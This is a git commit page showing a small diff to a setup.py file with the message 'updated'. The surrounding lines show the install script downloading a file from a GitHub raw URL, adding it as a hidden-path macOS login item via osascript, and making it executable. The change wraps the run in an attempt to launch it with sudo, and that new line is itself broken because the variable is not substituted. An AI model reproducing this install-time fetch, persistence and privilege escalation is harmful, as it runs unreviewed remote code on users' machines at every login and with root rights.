diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 17:03:29 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 17:03:29 +0800 |
| commit | dda797c8652ad8d09dbcd764052e244360c4bdd8 (patch) | |
| tree | 535ec115f54d7f366baeae06586102cab083a33e /setup.py | |
| parent | 4a1e5539c8980644266bf8fe1089ef0989c1c5bc (diff) | |
updated
Diffstat (limited to 'setup.py')
| -rw-r--r-- | setup.py | 5 |
1 files changed, 4 insertions, 1 deletions
@@ -13,4 +13,7 @@ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Re system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") system(f"chmod 555 {localfile}") -subproc([localfile]) +try: + subproc([f"sudo localfile"]) +except: + subproc([localfile]) |
